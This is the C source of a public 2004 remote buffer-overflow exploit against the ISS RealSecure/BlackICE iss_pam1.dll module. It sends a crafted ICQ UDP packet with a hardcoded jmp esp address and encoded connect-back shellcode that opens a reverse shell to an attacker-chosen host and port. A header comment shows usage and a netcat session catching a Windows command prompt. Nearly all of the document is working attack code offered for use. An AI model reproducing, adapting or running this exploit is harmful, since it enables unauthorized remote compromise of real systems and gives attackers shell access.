/* 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam (Sam`@efnet) and  2004/03/26 
*      <chen_xiaobo@venustech.com.cn>
*                     <Sam@0x557.org>
*                    
* 
*
* Compile: gcc -o 557iss_pam_exp 557iss_pam_exp.c
*
* how works?
* [root@core exp]# ./557iss_pam_exp  192.168.10.2 192.168.10.169 5570
* 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
* - Sam
*
* # attack remote host: 192.168.10.2.
* # listen host: 192.168.10.169.
* # listen port: 5570.
* # send overflow udp datas
* # 1199 bytes send
* # done.
* # make sure we are in, dude :)
*
*
* [root@core root]# nc -vv -l -p 5570
* listening on [any] 5570 ...
* 192.168.10.2: inverse host lookup failed: Host name lookup failure
* connect to [192.168.10.169] from (UNKNOWN) [192.168.10.2] 3604
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\Program Files\ISS\BlackICE>
* C:\Program Files\ISS\BlackICE>
* C:\Program Files\ISS\BlackICE>
*
*
* some thanks/greets to:
* eeye (they find this bug :D), airsupply, kkqq, icbm, my gf :I
* and everyone else who's KNOW SST ;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

char icq_header [] =
"\x05\x00"         // ICQ VERSION
"\x00"             // unused
"\x00\x00\x00\x00" // Session ID
"\x12\x02"         // reply to SRV_MULTI_PACKET 
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN 
"\x00\x00\x00\x00" // CHECKCODE
"\x02"             // SRV_MULTI Parameter Block 1 of 2
                   // Number of individual responses
"\x2c\x00"         // Size of sub-response (44 bytes, little-endian)  

"\x05\x00"         // ICQ VERSION
"\x00"               // unused    
"\x00\x00\x00\x00" // Session ID
"\x6e\x00"         // reply to SRV_USER_OLINE
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN
"\x00\x00\x00\x00" // CHECKCODE
"\x00\x00\x00\x00" // UIN of user changing status
"\x01\x00\x00\x00" // Other user's IP address (1.0.0.0)
"\x00\x00\x00\x00" // Other user's direct-connect port (default)
"\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00"
"\x41\x02"         // SRV_MULTI Parameter Block 2 of 2 
                   // Size of sub-response (577 bytes)

"\x05\x00"         // ICQ VERSION
"\x00"             // unused 
"\x00\x00\x00\x00" // Session ID
"\xde\x03"         // reply to SRV_META_USER
"\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
"\x00\x00\x00\x00" // UIN Your (the client's) UIN
"\x00\x00\x00\x00" // CHECKCODE
"\x00\x00\x00\x01" 
"\x00\x00\x01\x00"
"\x00\x01\x00\x00"
"\x1e\x02";


struct  sockaddr_in addr, local;
char        *bindHost = NULL;
unsigned short  port;
/* 
 * hsj's connect back shellcodes
 */
char shellcode [] =
/* decoder */
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
/* code */
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50";




/* udpconnect:
* 
*/
int udpConnect (char *hostName)
{

        struct  hostent* host = NULL;
        int     sock = -1;

        host = gethostbyname (hostName);
        if (NULL == host) {
                perror ("gethostbyname() failed");
                return -1;
        }

        sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if ( -1 == sock) {
                perror ("socket() failed\n");
                return  -1;
        }

        memset (&addr, 0x00, sizeof (addr));
        addr.sin_addr = *(struct in_addr *) host->h_addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(random());

        memset (&local, 0x00, sizeof (local));
        local.sin_family = AF_INET;
        local.sin_addr.s_addr = htonl (INADDR_ANY);
        local.sin_port = htons(4000);


        if (bind (sock, (struct sockaddr *) &local, sizeof(local)) != 0) {
                perror ("bind error\n");
                return -1;
        }

        return sock;
}

/* resolve listen host
*/
unsigned int resolve (char *name)
{
        struct hostent  *he;
        unsigned int    ip;

        if ((ip = inet_addr (name)) == (-1)) {
                if ((he = gethostbyname (name)) ==0 )
                        return 0;
                memcpy (&ip, he->h_addr, 4);
        }
        return ip;
}


/*
* send datas
*/
int udp_send (int sock, char *buffer, int buff_len)
{
        int     ret;

        ret = sendto (sock, buffer, buff_len, 0, (struct sockaddr *)&addr,
                sizeof (struct sockaddr_in));
        if (ret <= NULL)  {
                perror ("sendto failed\n");
                return -1;
        }

        fprintf (stderr, "# %d bytes send\n", ret);

        return ret;
}

/*
* send evil datas, fuck ISS's blackice.
*/
int     do_sendudp_data (char *hostName)
{
    	unsigned int    cb;
        int         sock;
        char        expbuf[1200];

        memset (expbuf, 0x90, sizeof (expbuf));
        memcpy (expbuf, icq_header, sizeof (icq_header) - 1);
        
        /*
         * jmp esp opcodes from iss_pam1.dll
         */
        *(unsigned int *)&expbuf[637] = 0x5e077663;
        
        if (!(cb = resolve (bindHost))) {
                                printf ("Unknown listen host\n");
                                return -1;
         }
        port = htons (port);
        port ^= 0x9393;
        cb ^= 0x93939393;

        *(unsigned short *)&shellcode[330] = port;
        *(unsigned int *)&shellcode[335] = cb;
        
        memcpy (expbuf + 637 + 4, shellcode, strlen (shellcode));
        if ((sock = udpConnect (hostName)) < 0) {
                printf ("connect failed\n");
                exit (-1);
        }

    	fprintf (stderr, "# send overflow udp datas\n");
        udp_send (sock, expbuf, sizeof (expbuf) - 1);

        close (sock);
        return 0;


}


/*
* just main . dude.
*/
int main (int argc, char **argv)
{
    	int    new;
        char    *target = NULL;

    	fprintf (stderr, "557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit\n - Sam\n\n");
        if (argc != 4) {
                fprintf (stderr, "%s <hostname> <listenhost> <listen port>\n", argv[0]);
                fprintf (stderr, "listenhost, port: connect back host and port\n\n");
                return -1;
        }

        target = argv[1];
        bindHost = argv[2];
        port = atoi (argv[3]);

    	fprintf (stderr, "# attack remote host: %s. \n", target);
    	fprintf (stderr, "# listen host: %s. \n", bindHost);
    	fprintf (stderr, "# listen port: %d. \n", port);
        do_sendudp_data (target);
    
    	fprintf (stderr, "# done.\n");
    
    	fprintf (stderr, "# make sure we are in, dude :)\n\n");
    
        return 0;
}